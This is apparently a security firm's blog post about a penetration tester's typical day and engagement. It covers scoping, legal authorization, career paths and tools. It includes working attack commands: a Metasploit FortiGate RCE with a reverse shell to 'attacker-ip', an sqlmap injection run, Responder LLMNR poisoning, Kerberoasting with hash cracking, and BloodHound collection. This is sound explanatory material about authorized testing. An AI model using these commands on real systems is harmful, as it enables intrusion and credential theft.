Inside Ethical Hacking: Day in the Life of VAPT Professional

Ethical hackers conduct authorized security testing identifying vulnerabilities before malicious actors exploit them. Professional penetration testers combine technical expertise across networking, programming, operating systems, and security with structured methodologies following legal and ethical boundaries. A typical penetration test engagement spans 2-4 weeks from scoping through report delivery, involving reconnaissance, vulnerability identification, exploitation, post-exploitation, and comprehensive reporting demonstrating real-world attack scenarios.

This guide takes you inside professional VAPT operations, revealing day-to-day workflows, real engagement walkthrough, toolchain and techniques, legal considerations, engagement rules, and career path for ethical hacking professionals helping organizations understand what professional security testing actually involves.

Day in the Life of Penetration Tester

Morning: Kickoff Call with Financial Services Client

9:00 AM: Video conference with client IT and security teams reviewing penetration test scope, objectives, and logistics:

• Testing Scope: External network, internal network, web applications
• IP Ranges: 203.0.113.0/24 (external), 10.50.0.0/16 (internal)
• Testing Windows: External 24/7, internal weekdays 8 AM - 6 PM only
• Excluded Systems: Production database cluster (10.50.20.0/24)
• Emergency Contacts: 24/7 on-call contact for critical findings or system issues
• Deliverables: Technical report, executive summary, remediation roadmap
• Timeline: 10 business days testing, 5 days reporting

9:45 AM: Legal authorization confirmation. Penetration testing agreement signed providing written authorization specifying exact scope, IP addresses, and testing boundaries. This legal protection is essential; unauthorized testing is illegal under Computer Fraud and Abuse Act (CFAA).

Mid-Morning: Reconnaissance Phase

10:00 AM: Begin passive reconnaissance gathering publicly available information:

# Subdomain enumeration
subfinder -d client.com -o subdomains.txt
amass enum -passive -d client.com

# DNS reconnaissance
dig client.com any
dnsenum client.com

# Technology stack identification
whatweb https://client.com
wappalyzer https://client.com

# Employee enumeration (LinkedIn, Github)
linkedin2username -c "Client Company Name"

Findings So Far:

• 23 subdomains discovered (www, mail, vpn, portal, dev, staging, api)
• Technology stack: Apache 2.4, PHP 7.4, MySQL
• 45 employees identified on LinkedIn (potential phishing targets)
• Github repository with potentially sensitive code comments

Afternoon: Active Scanning and Vulnerability Assessment

1:00 PM: Active reconnaissance and port scanning:

# Port scanning external range
nmap -sS -sV -p- -T4 -oA external-scan 203.0.113.0/24

# Service enumeration
nmap -sC --script vuln 203.0.113.0/24

Key Findings:

• VPN server (203.0.113.10) running Fortinet FortiGate with known CVE
• Web server (203.0.113.20) with outdated Apache version
• RDP accessible on port 3389 (203.0.113.30) - concerning external exposure
• Mail server with SPF misconfiguration (potential email spoofing)

2:00 PM: Vulnerability scanner deployment:

# Nessus vulnerability scan
nessus-cli scan create --targets 203.0.113.0/24 --template "PCI Quarterly External Scan"

# Web application scanning
nikto -h https://client.com -ssl
zap-cli quick-scan https://client.com

2:30 PM: Initial critical finding: FortiGate VPN server vulnerable to CVE-2023-27997 (authentication bypass, CVSS 9.2). Immediately notify client emergency contact per Rules of Engagement. Client confirms testing may continue while they investigate patching.

Late Afternoon: Exploitation Phase

3:30 PM: Attempt exploitation of vulnerabilities:

# Metasploit exploitation of VPN vulnerability
msfconsole
use exploit/linux/http/fortinet_ssl_vpn_rce
set RHOSTS 203.0.113.10
set LHOST attacker-ip
exploit

[*] Started reverse TCP handler
[*] Sending exploit payload
[*] Command shell session 1 opened
[*] SUCCESS - shell access obtained

Result: Successfully gained unauthorized access to VPN appliance. This would allow real attacker to:

• Access internal network without credentials
• Steal VPN credentials of all users
• Establish persistent backdoor
• Pivot to internal systems

4:00 PM: Document proof-of-concept with screenshots, commands executed, and evidence of access. Take careful notes for report including:

• Vulnerability description (CVE, CVSS score)
• Affected system details
• Exploitation steps (reproducible by client)
• Business impact assessment
• Remediation recommendations (patch, configuration, compensating controls)

4:30 PM: Testing web application discovering SQL injection vulnerability:

# SQLmap testing
sqlmap -u "https://client.com/search?id=123" --dbs --batch

[INFO] testing 'MySQL >= 5.0 AND error-based'
[INFO] parameter 'id' appears to be 'MySQL >= 5.0 AND error-based' injectable
[INFO] retrieved: information_schema, client_db, mysql

Result: Confirmed SQL injection allowing database access. Can extract customer data, credentials, or payment information.

Evening: Documentation and Reporting

5:00 PM: Update engagement tracking spreadsheet:

• Hosts scanned: 45
• Critical vulnerabilities: 2 (VPN RCE, SQL injection)
• High vulnerabilities: 7
• Medium vulnerabilities: 23
• Low vulnerabilities: 104
• False positives eliminated: 18

5:30 PM: Draft technical write-up for critical findings including remediation guidance:

• VPN Vulnerability: Immediate patching to FortiOS 7.0.12, enable multi-factor authentication, restrict VPN access by source IP
• SQL Injection: Parameterized queries implementation, input validation, web application firewall deployment

Real Penetration Test Walkthrough

Week 1: External Testing

Days 1-2: External Reconnaissance and Scanning

• Passive and active reconnaissance
• Port scanning and service enumeration
• Vulnerability scanning with Nessus
• Web application spidering and mapping

Days 3-4: External Exploitation

• Validate scanner findings eliminating false positives
• Attempt exploitation of identified vulnerabilities
• Test authentication mechanisms (brute force, credential stuffing)
• Web application testing (SQL injection, XSS, authentication bypass)
• Social engineering testing if authorized (phishing simulation)

Day 5: External Post-Exploitation

• Pivot to internal network if perimeter breach achieved
• Assess impact of successful compromise
• Document attack chains from external to internal access

Week 2: Internal Testing

Day 6: Internal Reconnaissance

• Network mapping from internal perspective
• Active Directory enumeration
• Service and application discovery
• Identify domain controllers, critical servers, databases

Days 7-8: Internal Exploitation

Typical Attack Sequence:

1. LLMNR Poisoning: Capture credentials from broadcast protocols
2. Kerberoasting: Extract service account credentials
3. Password Cracking: Offline cracking of captured hashes
4. Lateral Movement: Use compromised credentials accessing additional systems
5. Privilege Escalation: Exploit vulnerabilities gaining administrator access
6. Domain Admin: Achieve domain-level control

Technical Commands:

# Responder for LLMNR poisoning
responder -I eth0 -wrf

# Kerberoasting
GetUserSPNs.py domain/user:password -dc-ip dc-ip -request -outputfile tickets.txt
hashcat -m 13100 tickets.txt rockyou.txt

# BloodHound for attack path analysis
bloodhound-python -d client.local -u user -p password -c all
# Analyze in BloodHound GUI: "Shortest Path to Domain Admin"

Days 9-10: Internal Post-Exploitation

• Test lateral movement between network segments
• Access sensitive data (customer databases, financial records)
• Validate network segmentation controls
• Demonstrate potential ransomware impact
• Test detection capabilities (does SOC detect our activity?)

Week 3: Reporting and Presentation

Days 11-13: Report Writing

• Technical report documenting all findings
• Executive summary for C-suite and board
• CVSS scoring and risk ratings
• Proof-of-concept screenshots and evidence
• Detailed remediation recommendations

Day 14-15: Presentation and Debrief

• Present findings to technical and executive stakeholders
• Demonstrate exploitation techniques
• Discuss remediation priorities and timelines
• Answer questions about findings
• Provide remediation support guidance

Ethical Hacker's Toolchain

Primary Workstation Setup

Operating System: Kali Linux (specialized penetration testing distribution) or Parrot Security OS

Hardware:

• High-performance laptop (32GB+ RAM for password cracking and virtualization)
• GPU (NVIDIA RTX 3080+) for accelerated password cracking
• 1TB+ SSD storage for engagement data and wordlists
• Wireless adapters supporting monitor mode for WiFi testing

Essential Software Tools

Reconnaissance:

• Nmap, Masscan (network scanning)
• Subfinder, Amass (subdomain enumeration)
• theHarvester (OSINT gathering)
• Shodan, Censys (internet-wide scanning data)

Vulnerability Scanning:

• Nessus Professional (commercial scanner)
• OpenVAS (open-source alternative)
• Nikto (web server scanning)

Exploitation:

• Metasploit Framework (exploitation platform)
• SQLmap (SQL injection)
• Hydra (credential brute forcing)
• Hashcat (password cracking)

Web Application Testing:

• Burp Suite Professional (intercepting proxy)
• OWASP ZAP (automated scanning)
• Postman (API testing)

Post-Exploitation:

• Mimikatz (credential extraction)
• BloodHound (Active Directory analysis)
• CrackMapExec (lateral movement)
• PowerSploit (PowerShell post-exploitation)

Wireless Testing:

• Aircrack-ng (WiFi security)
• Kismet (wireless detection)
• WiFite (automated wireless attacks)

Reporting and Documentation:

• KeepNote, CherryTree (engagement notes)
• Dradis, Serpico (reporting frameworks)
• Screenshot tools (Flameshot, Greenshot)
• Video recording for proof-of-concepts

Legal and Ethical Boundaries

Legal Requirements

Written Authorization (Mandatory):

• Signed penetration testing agreement specifying scope
• Explicit IP addresses, domains, systems authorized for testing
• Testing methodology and techniques authorized
• Testing timeframes and windows
• Emergency procedures and contact information

Unauthorized testing risks:

• Federal prosecution under CFAA (up to 10 years imprisonment)
• State computer crime laws
• Civil liability for damages
• Professional license revocation
• Reputation and career damage

Rules of Engagement

Professional penetration testers strictly follow agreed-upon rules:

Scope Boundaries:

• Only test systems explicitly authorized
• Never exceed scope testing third-party systems
• Stop immediately if scope boundary unclear
• Document any accidental scope violations and notify client

Testing Limitations:

• Respect testing windows (no after-hours testing if prohibited)
• Limit scanning rates preventing system impact
• Avoid denial-of-service attacks unless specifically authorized
• Never access, modify, or exfiltrate actual customer data

Communication Protocol:

• Daily status updates to client
• Immediate notification of critical findings
• Report system instability or unintended impact immediately
• Maintain secure communication channels for sensitive information

Ethical Considerations

Ethical hackers adhere to professional standards:

• Confidentiality: Never disclose client vulnerabilities or engagement details
• Minimal Impact: Conduct testing avoiding system disruption
• Data Protection: Don't access personal information unnecessarily
• Transparency: Honest reporting even if findings embarrass client
• Professional Development: Continuous learning and skill improvement

Penetration Testing Methodologies

PTES (Penetration Testing Execution Standard)

Seven-phase methodology providing standardized approach:

1. Pre-engagement Interactions: Scoping, legal agreements, Rules of Engagement
2. Intelligence Gathering: OSINT, passive reconnaissance
3. Threat Modeling: Identify attack vectors and paths
4. Vulnerability Analysis: Scanning and manual verification
5. Exploitation: Validate vulnerabilities through exploitation
6. Post-Exploitation: Lateral movement, privilege escalation
7. Reporting: Document findings and recommendations

OWASP Testing Guide

Web application testing methodology covering:

• Information gathering and configuration testing
• Identity management testing
• Authentication and session management
• Authorization testing
• Business logic testing
• Input validation (SQL injection, XSS)
• Error handling and cryptography
• Client-side testing

NIST SP 800-115

Government framework for security testing including:

• Planning (scope, resources, legal considerations)
• Discovery (network mapping, vulnerability identification)
• Attack (exploitation, password cracking, social engineering)
• Reporting (findings, business impact, recommendations)

Types of Penetration Tests

Black Box Testing

Information Provided: Only company name and public-facing assets

Approach: Simulates external attacker with no internal knowledge

Advantage: Most realistic external threat scenario

Disadvantage: Time-consuming, may miss internal vulnerabilities

White Box Testing

Information Provided: Complete system documentation, credentials, architecture diagrams, source code

Approach: Comprehensive security review with full visibility

Advantage: Thorough testing covering all systems

Disadvantage: Doesn't simulate real-world attacker perspective

Gray Box Testing (Most Common)

Information Provided: Partial knowledge (network diagram, user-level credentials)

Approach: Simulates insider threat or compromised employee

Advantage: Balance between realism and comprehensive coverage

Typical Use: Internal network penetration testing

Career Path for Ethical Hackers

Entry-Level (0-2 years)

Roles: Junior Penetration Tester, Security Analyst

Salary Range: $60,000-$85,000

Required Skills:

• Networking fundamentals (TCP/IP, routing, firewalls)
• Linux and Windows operating systems
• Basic scripting (Python, Bash)
• Tool proficiency (Nmap, Metasploit, Burp Suite)

Recommended Certifications:

• CEH (Certified Ethical Hacker)
• Security+
• eJPT (eLearnSecurity Junior Penetration Tester)

Mid-Level (2-5 years)

Roles: Penetration Tester, Security Consultant

Salary Range: $85,000-$130,000

Required Skills:

• Advanced exploitation techniques
• Web application security expertise
• Active Directory attack paths
• Report writing and client communication
• Multiple programming languages (Python, PowerShell, C#)

Recommended Certifications:

• OSCP (Offensive Security Certified Professional) - industry gold standard
• GPEN (GIAC Penetration Tester)
• GWAPT (GIAC Web Application Penetration Tester)

Senior-Level (5-10 years)

Roles: Senior Penetration Tester, Red Team Lead, Security Practice Lead

Salary Range: $130,000-$180,000

Required Skills:

• Advanced persistent threat (APT) simulation
• Custom exploit development
• Red team leadership and planning
• Client relationship management
• Mentoring junior testers

Recommended Certifications:

• OSEP (Offensive Security Experienced Penetration Tester)
• GXPN (GIAC Exploit Researcher and Advanced Penetration Tester)
• OSCE (Offensive Security Certified Expert)

Expert-Level (10+ years)

Roles: Principal Security Consultant, Director of Security Services, CISO

Salary Range: $180,000-$300,000+

Focus Areas:

• Program strategy and development
• Thought leadership and research
• Business development
• Technical advisory for complex engagements

Career Development Tips

Building Technical Skills

• Home Lab: Build vulnerable environment (Metasploitable, DVWA, VulnHub VMs)
• Practice Platforms: HackTheBox, TryHackMe, OffSec Proving Grounds
• Bug Bounties: Real-world testing on platforms like HackerOne, Bugcrowd
• CTF Competitions: Develop skills through capture-the-flag events
• Open Source Contribution: Contribute to security tools and projects

Professional Development

• Attend conferences (DEF CON, Black Hat, BSides)
• Join professional organizations (ISC2, ISSA)
• Maintain blog or GitHub demonstrating expertise
• Publish security research and vulnerabilities
• Mentor aspiring security professionals

Common Misconceptions About Ethical Hacking

Myth 1: "Hackers Only Write Code"

Reality: While programming knowledge helps, penetration testing requires diverse skills including networking, system administration, business communication, and problem-solving. Many successful penetration testers excel at using existing tools rather than writing custom exploits.

Myth 2: "Ethical Hackers Find Every Vulnerability"

Reality: Penetration testing provides point-in-time assessment. New vulnerabilities emerge constantly. Even comprehensive tests miss vulnerabilities due to time constraints, scope limitations, or attacker creativity. Testing reduces but doesn't eliminate risk.

Myth 3: "Automated Scanners Are Sufficient"

Reality: Scanners identify known vulnerabilities but miss:

• Business logic flaws
• Complex authentication bypass
• Custom application vulnerabilities
• Privilege escalation chains

Professional penetration testing combines automated scanning with manual expertise providing comprehensive security validation.

Myth 4: "Ethical Hacking is Just Breaking Things"

Reality: Professional engagement requires:

• Detailed scoping and planning
• Legal and compliance understanding
• Client communication and relationship management
• Technical writing and reporting
• Remediation guidance and support

Only 30-40% of engagement time involves actual hacking. Majority is planning, documentation, and communication.

Choosing Professional VAPT Provider

When selecting penetration testing provider:

Verify Qualifications

• Certifications: OSCP, GPEN, CEH held by actual testing team (not just company)
• Experience: 5+ years in penetration testing with relevant industry experience
• References: Similar-sized organizations in your industry
• Methodology: Follow recognized standards (PTES, OWASP, NIST)

Evaluate Engagement Process

• Scoping: Thorough pre-engagement discovery
• Communication: Regular status updates during testing
• Critical Finding Protocol: Immediate notification of severe vulnerabilities
• Deliverables: Technical report, executive summary, remediation guidance
• Post-Engagement: Remediation support and validation testing

Assess Quality Indicators

• Detailed, customized reports (not template-generated)
• Proof-of-concept demonstrating exploitability
• Specific remediation guidance with technical steps
• Risk-based prioritization of findings
• False positive elimination

Future of Ethical Hacking

Emerging Skills

• Cloud Security: AWS, Azure, GCP penetration testing
• Container Security: Docker, Kubernetes exploitation
• IoT/OT Security: Industrial control systems and connected devices
• Mobile Security: iOS and Android application testing
• AI/ML Security: Model poisoning, adversarial attacks

Evolving Methodologies

• Continuous Testing: Integration into CI/CD pipelines
• Automated Validation: AI-assisted exploitation and testing
• Adversary Simulation: MITRE ATT&CK based purple team exercises
• Bug Bounty Integration: Combining internal and external testing

Taking Action

Organizations should engage professional ethical hackers for:

• Annual Penetration Testing: Comprehensive security validation
• Pre-Deployment Testing: New application or infrastructure security assessment
• Compliance Testing: PCI DSS, HIPAA, SOC 2 requirements
• Post-Incident Testing: Breach validation and remediation verification
• M&A Due Diligence: Acquisition target security assessment

subrosa ethical hacking team brings OSCP, GPEN, and CEH certified professionals with 5-15+ years experience conducting comprehensive penetration testing following PTES, OWASP, and NIST methodologies. We provide detailed technical reports with proof-of-concept demonstrations, executive summaries for board presentation, and prioritized remediation roadmaps helping organizations understand real-world security risk. Our testing includes external perimeter assessment, internal lateral movement simulation, web application testing, wireless security, and cloud infrastructure review meeting PCI DSS, HIPAA, and SOC 2 compliance requirements.